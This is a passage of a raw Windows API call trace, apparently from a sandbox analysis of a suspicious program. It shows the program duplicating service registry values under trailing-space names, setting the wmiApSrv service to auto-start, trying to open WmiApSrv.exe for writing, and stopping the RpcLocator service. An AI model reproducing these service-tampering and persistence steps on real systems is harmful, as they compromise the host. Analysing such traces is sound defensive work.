lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.682] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.682] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.682] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.682] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.682] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.682] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.682] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.683] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.683] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.684] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.684] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.685] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.685] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.685] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.686] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.686] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0228.687] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.687] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.688] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.688] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.688] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.688] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.688] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.688] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0228.688] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0228.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0228.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0228.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0228.688] LocalFree (hMem=0x7f03d0) returned 0x0 [0228.688] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0228.688] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x803990 [0228.689] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0228.690] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0228.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0228.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0228.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0228.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0228.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.691] RegCloseKey (hKey=0xc4) returned 0x0 [0228.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.691] RegCloseKey (hKey=0x148) returned 0x0 [0228.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0228.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0228.691] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.691] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0228.691] GetLastError () returned 0x20 [0228.691] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.692] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.692] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.692] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x8038a0 [0228.693] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0228.709] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.710] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.710] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.710] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 